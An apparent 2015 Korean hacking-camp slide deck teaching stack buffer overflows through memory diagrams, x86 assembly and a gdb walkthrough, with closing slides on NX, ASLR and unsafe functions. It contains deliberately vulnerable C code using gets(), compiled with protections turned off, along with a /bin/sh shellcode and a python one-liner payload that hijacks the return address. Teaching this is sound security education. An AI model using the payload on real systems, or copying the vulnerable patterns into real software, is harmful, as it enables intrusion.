Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프
Who am I? 이름: 송치현 나이: 0x17 페북: http://fb.com/ian0371 이메일: ian0371@gmail.com
Buffer Overflow 개념잡기 배경지식 Buffer Overflow 공격 과정 Buffer Overflow 방어
비밀번호에 스페이스바 연타!!!!!!
데이터를 버퍼에 저장할 때, 버퍼의 경계를 넘어 주변 메모리를 덮어쓰는 것 Buffer Overflow 개념잡기 데이터를 버퍼에 저장할 때, 버퍼의 경계를 넘어 주변 메모리를 덮어쓰는 것
Buffer Overflow 개념잡기 #include <stdio.h> #include <string.h> int main(void) { int auth = 0; char passwd[16]; printf("Enter the password: "); gets(passwd); // VULNERABLE if(strcmp(passwd, "SECRET_CODE") == 0) auth = 1; if(auth) printf("Success!\n"); else printf("Fail\n"); }
Buffer Overflow 개념잡기
Buffer Overflow 개념잡기 WHY???
데이터를 버퍼에 저장할 때, 버퍼의 경계를 넘어 주변 메모리를 덮어쓰는 것 Buffer Overflow 개념잡기 데이터를 버퍼에 저장할 때, 버퍼의 경계를 넘어 주변 메모리를 덮어쓰는 것 경계를 체크하지 않는 gets()때문에 (gets 함수는 버퍼의 크기를 모름)
데이터를 버퍼에 저장할 때, 버퍼의 경계를 넘어 주변 메모리를 덮어쓰는 것 Buffer Overflow 개념잡기 데이터를 버퍼에 저장할 때, 버퍼의 경계를 넘어 주변 메모리를 덮어쓰는 것 char passwd[16]; 크기 16짜리 버퍼에 많은 글자를 저장하면서 int auth; 주변에 있는 변수 auth의 값이 바뀐 것!
Buffer Overflow 개념잡기 값을 더 넣어볼까…?!
Buffer Overflow 개념잡기 Windows ?
Buffer Overflow 개념잡기 Linux ???
Crash가 나고 프로그램이 종료된다! 왜 그럴까? Buffer Overflow 개념잡기 Crash가 나고 프로그램이 종료된다! 왜 그럴까?
Stack Data Code (Text) 배경지식 프로세스 구조 0xbfffffff 0x00000000 Growth Memory
배경지식 Stack: 지역변수, 함수 인자, 환경 변수 등 Stack Data: 전역변수, 동적 할당된 변수(Heap) Code Data Stack 0xbfffffff 0x00000000 Stack: 지역변수, 함수 인자, 환경 변수 등 Data: 전역변수, 동적 할당된 변수(Heap) Code: 어셈블리 코드
배경지식 Stack Stack Data Data Stack Code Code Data Stack Code Data Code Chrome Code Data Stack LoL Code Data Stack ALSong Code Data Stack Skype
배경지식 AT&T 방식 어셈블리 syntax Intel 방식과 src와 des가 정반대 Intel AT&T mov des, src mov src, des mov eax, ebx movl %ebx, %eax mov ebx, 0ffh movl $0xff, %ebx add esp, 4 addl $4, %esp http://www.imada.sdu.dk/Courses/DM18/Litteratur/IntelnATT.htm
배경지식 Little Endian 표기법 - 하위Byte를 하위메모리에 저장 - 대부분의 x86에서 사용 http://en.wikipedia.org/wiki/Endianness
배경지식 버퍼에 ABCDEFGHIJKL를 넣으면
배경지식 스택 프레임(Stack Frame) : 어떤 절차(또는 함수)의 호출에 따라서 그와 관계되는 모든 데이터를 저장해 두는 스택 영역
배경지식 Stack argument2 Growth argument1 RET address SFP main var1 … func1 var1 func1 var2 func2 var1 main의 Stack Frame func1의 Stack Frame func2의 Stack Frame
배경지식 EBP(Base Pointer) - 스택 프레임의 시작점(스택의 맨 밑) - 함수를 Call할 때 변함 - 프레임 포인터(FP)라고도 불림
배경지식 Stack argument2 Growth argument1 RET address SFP main var1 … func1 var1 func1 var2 func2 var1 EBP main의 Stack Frame EBP func1의 Stack Frame EBP func2의 Stack Frame
배경지식 ESP(Stack Pointer) - 스택 프레임의 마지막(스택의 맨 위) - sub, add, push, pop 등으로 변함
배경지식 push %ebp Stack argument2 Growth argument1 RET address SFP main var1 main var2 … main var4 EBP main의 Stack Frame push %ebp ESP
배경지식 pop %eax Stack argument2 Growth argument1 RET address SFP main var1 main var2 … main var4 ebp1 EBP main의 Stack Frame pop %eax ESP
배경지식 sub $0x8,%esp Stack argument2 Growth argument1 RET address SFP main var1 main var2 … main var4 EBP main의 Stack Frame sub $0x8,%esp ESP
배경지식 Stack argument2 Growth argument1 RET address SFP main var1 … main var4 EBP main의 Stack Frame ESP
배경지식 EIP를 우리가 원하는 방향으로 조작한다면? 원하는 코드 실행 EIP(Instruction Pointer) - PC(Program Counter) 다음에 실행될 명령어의 주소 EIP를 우리가 원하는 방향으로 조작한다면? 원하는 코드 실행
배경지식 함수의 시작 & 스택 프레임 생성(Prologue) main: call func1 … # return address push %ebp # main의 ebp값 저장 mov %esp, %ebp # ebp를 esp로 내림 http://en.wikipedia.org/wiki/Calling_convention#x86
배경지식 call func1 argument2 argument1 RET address SFP main var1 EBP EBP ESP ESP call func1
배경지식 push %ebp argument2 argument1 RET address SFP main var1 main var2 ESP ESP push %ebp
배경지식 mov %esp, %ebp argument2 argument1 RET address SFP main var1
배경지식 함수의 끝 & 스택 프레임 해제(Epilogue) func1: leave # 스택 프레임 복구!!! # (mov %ebp, %esp; pop %ebp) ret # pop %eip http://en.wikipedia.org/wiki/Calling_convention#x86
배경지식 leave (mov %ebp, %esp) argument2 argument1 RET address SFP main var1 main var2 func1 var1 func1 var2 func1 var3 argument2 argument1 RET address SFP main var1 main var2 EBP EBP ESP ESP leave (mov %ebp, %esp)
배경지식 leave (pop %ebp) argument2 argument1 RET address SFP main var1 ESP EBP ESP leave (pop %ebp)
배경지식 ret (pop %eip) 함수를 호출하기 전 스택 프레임과 동일 argument2 argument1 RET address SFP main var1 main var2 argument2 argument1 RET address SFP main var1 main var2 EBP EBP ESP ESP ret (pop %eip) 함수를 호출하기 전 스택 프레임과 동일
Buffer Overflow 공격 과정 #include <stdio.h> #include <string.h> int func1(int a, int b) { char buf[16]; gets(buf); printf("Hello, %s!\n", buf); return 1; } int main(void) { func1(1, 5); Makefile: gcc -o test test.c -m32 -z execstack -fno-stack-protector -stack-boundary=2
Buffer Overflow 공격 과정 (gdb) disas main 0x08048478 <+0>: push %ebp 0x08048479 <+1>: mov %esp,%ebp 0x0804847b <+3>: sub $0x8,%esp 0x0804847e <+6>: movl $0x5,0x4(%esp) 0x08048486 <+14>: movl $0x1,(%esp) 0x0804848d <+21>: call 0x804844d<func1> 0x08048492 <+26>: leave 0x08048493 <+27>: ret
Buffer Overflow 공격 과정 (gdb) disas func1 0x0804844d <+0>: push %ebp 0x0804844e <+1>: mov %esp,%ebp 0x08048450 <+3>: sub $0x18,%esp 0x08048453 <+6>: lea -0x10(%ebp),%eax 0x08048456 <+9>: mov %eax,(%esp) 0x08048459 <+12>: call 0x8048320 <gets@plt> 0x0804845e <+17>: lea -0x10(%ebp),%eax 0x08048461 <+20>: mov %eax,0x4(%esp) 0x08048465 <+24>: movl $0x8048530,(%esp) 0x0804846c <+31>: call 0x8048310 <printf@plt> 0x08048471 <+36>: mov $0x1,%eax 0x08048476 <+41>: leave 0x08048477 <+42>: ret
Buffer Overflow 공격 과정 main 실행 전 ENVIRONMENT: argc, *argv[] 등 0xb7e25a83: __libc_start_main ENVIRONMENT … 0xb7e25a83 (ret) 0xbfff???? 0xbfffd58c ESP EBP: 0x00000000 ESP: 0xbfffd58c EIP: 0x08048478 EBP
Buffer Overflow 공격 과정 0x08048478 <main+0> push %ebp 0x08048479 <main+1> mov %esp,%ebp ENVIRONMENT … 0xb7e25a83 (ret) 0xbfff???? 0xbfffd58c ESP EBP: 0x00000000 ESP: 0xbfffd58c EIP: 0x08048478 EBP
Buffer Overflow 공격 과정 0x08048479 <main+1> mov %esp,%ebp 0x0804847b <main+3> sub $0x8,%esp ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0xbfff???? 0xbfffd588 ESP EBP: 0x00000000 ESP: 0xbfffd588 EIP: 0x08048479 EBP
Buffer Overflow 공격 과정 0x0804847b <main+3> sub $0x8,%esp 0x0804847e <main+6> movl $0x5,0x4(%esp) ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0xbfff???? 0xbfffd588 EBP ESP EBP: 0xbfffd588 ESP: 0xbfffd588 EIP: 0x0804847b
Buffer Overflow 공격 과정 0x0804847e <main+6> movl $0x5,0x4(%esp) 0x08048486 <main+14> movl $0x1,(%esp) ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0xbfff???? 0xbfffd580 EBP ESP EBP: 0xbfffd588 ESP: 0xbfffd580 EIP: 0x0804847e
Buffer Overflow 공격 과정 0x08048486 <main+14> movl $0x1,(%esp) 0x0804848d <main+21> call 0x804844d <func1> ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0xbfff???? 0xbfffd580 EBP ESP EBP: 0xbfffd588 ESP: 0xbfffd580 EIP: 0x08048486
Buffer Overflow 공격 과정 0x0804848d <main+21> call 0x804844d <func1> 0x0804844d <func1+0> push %ebp ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0xbfff???? 0xbfffd580 EBP ESP EBP: 0xbfffd588 ESP: 0xbfffd580 EIP: 0x0804848d
Buffer Overflow 공격 과정 0x0804844d <func1+0> push %ebp 0x0804844e <func1+1> mov %esp,%ebp ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x08048492 0xbfff???? 0xbfffd57c EBP ESP EBP: 0xbfffd588 ESP: 0xbfffd57c EIP: 0x0804844d
Buffer Overflow 공격 과정 0x0804844e <func1+1> mov %esp,%ebp 0x08048450 <func1+3> sub $0x18,%esp ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x08048492 0xbfffd588 (SFP) 0xbfff???? 0xbfffd578 EBP ESP EBP: 0xbfffd588 ESP: 0xbfffd578 EIP: 0x0804844e
Buffer Overflow 공격 과정 0x08048450 <func1+3> sub $0x18,%esp 0x08048453 <func1+6> lea -0x10(%ebp),%eax ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x08048492 0xbfffd588 (SFP) 0xbfff???? 0xbfffd578 EBP ESP EBP: 0xbfffd578 ESP: 0xbfffd578 EIP: 0x08048450
Buffer Overflow 공격 과정 0x08048453 <func1+6> lea -0x10(%ebp),%eax EBP-0x10: buf 0x08048456 <func1+9> mov %eax,(%esp) ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x08048492 0xbfffd588 (SFP) 0xbfff???? 0xbfffd578 EBP EBP: 0xbfffd578 ESP: 0xbfffd560 EIP: 0x08048453 ESP
Buffer Overflow 공격 과정 0x08048456 <func1+9> mov %eax,(%esp) 0x08048459 <func1+12> call 0x8048320<gets@plt> ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x08048492 0xbfffd588 (SFP) 0xbfff???? 0xbfffd578 EBP EAX: 0xbfffd568 EBP: 0xbfffd578 ESP: 0xbfffd560 EIP: 0x08048456 ESP
Buffer Overflow 공격 과정 0x08048459 <func1+12> call 0x8048320<gets@plt> 0x0804845e <func1+17> lea -0x10(%ebp),%eax ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x08048492 0xbfffd588 (SFP) 0xbfffd568 0xbfff???? 0xbfffd578 EBP EBP: 0xbfffd578 ESP: 0xbfffd560 EIP: 0x08048459 ESP
Buffer Overflow 공격 과정 EBP: 0xbfffd578 ESP: 0xbfffd560 EIP: 0x0804845e ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x08048492 0xbfffd588 (SFP) 0x00414141 0x41414141 0xbfffd568 0xbfff???? 0xbfffd578 EBP EBP: 0xbfffd578 ESP: 0xbfffd560 EIP: 0x0804845e ESP
Buffer Overflow 공격 과정 0x08048461 <+20>: mov %eax,0x4(%esp) 0x08048465 <+24>: movl $0x8048530,(%esp) 0x0804846c <+31>: call 0x8048310 <printf@plt> printf로 출력하는 과정!
Buffer Overflow 공격 과정 0x08048476 <func1+41> leave 0x08048477 <func1+42> ret ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x08048492 0xbfffd588 (SFP) 0x00414141 0x41414141 0xbfffd568 0xbfff???? 0xbfffd578 EBP EBP: 0xbfffd578 ESP: 0xbfffd560 EIP: 0x08048476 ESP
Buffer Overflow 공격 과정 0x08048477 <func1+42> ret 0x08048492 <main+26> leave ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x08048492 0xbfffd588 0x00414141 0x41414141 0xbfffd568 0xbfff???? 0xbfffd57c EBP ESP EBP: 0xbfffd588 ESP: 0xbfffd57c EIP: 0x08048477
Buffer Overflow 공격 과정 0x08048492 <main+26> leave 0x08048493 <main+27> ret ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x08048492 0xbfffd588 0x00414141 0x41414141 0xbfffd568 0xbfff???? 0xbfffd580 EBP ESP EBP: 0xbfffd588 ESP: 0xbfffd580 EIP: 0x08048492
Buffer Overflow 공격 과정 0x08048493 <main+27> ret 0xb7e25a83로 return ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x08048492 0xbfffd588 0x00414141 0x41414141 0xbfffd568 0xbfff???? 0xbfffd580 ESP EBP: 0xbfffd588 ESP: 0xbfffd580 EIP: 0x08048493 EBP
Buffer Overflow 공격 과정 EBP는 이전 스택 프레임의 EBP를 가리킴(Saved Frame Pointer) Return addres는 EBP+4에 존재!!
Buffer Overflow 공격 과정 정상적인 input 비정상적인 input ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x08048492 0xbfffd588 (SFP) 0x00414141 0x41414141 0xbfffd568 ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x41414141 0x41414141 (SFP) 0xbfffd568 EBP EBP ESP ESP
Buffer Overflow 공격 과정 0x08048476 <func1+41> leave 0x08048477 <func1+42> ret ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x41414141 0x41414141 (SFP) 0xbfffd568 0xbfff???? 0xbfffd578 EBP EBP: 0xbfffd578 ESP: 0xbfffd560 EIP: 0x08048476 ESP
Buffer Overflow 공격 과정 0x08048477 <func1+42> ret EBP: 0x41414141 ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x41414141 0x41414141 (SFP) 0xbfffd568 0xbfff???? 0xbfffd578 ESP EBP: 0x41414141 ESP: 0xbfffd57c EIP: 0x08048477
Buffer Overflow 공격 과정 0x41414141 … CRASH!!!! EBP: 0x41414141 ENVIRONMENT … 0xb7e25a83 0x00000000 (SFP) 0x00000005 0x00000001 0x41414141 0x41414141 (SFP) 0xbfffd568 0xbfff???? 0xbfffd578 ESP EBP: 0x41414141 ESP: 0xbfffd57c EIP: 0x41414141
Buffer Overflow 공격 과정 EIP를 잘 조작해서 우리가 원하는 코드를 실행할 수 있다!!! main func1 _exit shell code Normal Execution Flow Abnormal Execution Flow
Buffer Overflow 공격 과정 Shellcode - shell을 실행시키는 기계어코드(opcode) - http://shell-storm.org/shellcode/ - 25byte shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 - NOP(No OPeration): \x90 http://www.hackerschool.org/HS_Boards/data/Lib_system/buffer_overflow_foundation_pub.pdf
Buffer Overflow 공격 과정 Payload 구성 메모리 구조는 오른쪽 그림과 같다. ENVIRONMENT … shellcode 0x90909090 0xbfffd580 0x42424242 (SFP) 0x41414141 0xbfffd568 0xbfff???? Payload 구성 메모리 구조는 오른쪽 그림과 같다. buf[16]: 16byte SFP: 4byte RET: 4byte NOP + shellcode AAAAAAAAAAAAAAAA BBBB 0xbfffd580 …
Buffer Overflow 공격 과정 Payload 구성 (python -c 'print "A"*16 + "B"*4 + "\x80\xd5\xff\xbf" + "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"';cat) | ./test
Buffer Overflow 공격 과정 ASLR 켜두고 많은 뻘짓을ㅠㅠㅠㅠㅠ
Buffer Overflow 방어 NX (Non-Executable Stack) - Stack에 실행권한을 없앰으로써 Stack에 있는 코드는 실행을 안 함
Buffer Overflow 방어 No ASLR ASLR ASLR (Address Space Layout Randomization) - Stack의 주소를 매 실행마다 바꿈 No ASLR ASLR
Buffer Overflow 방어 취약한 함수 사용 X - gets, scanf, strcpy, sprintf 등…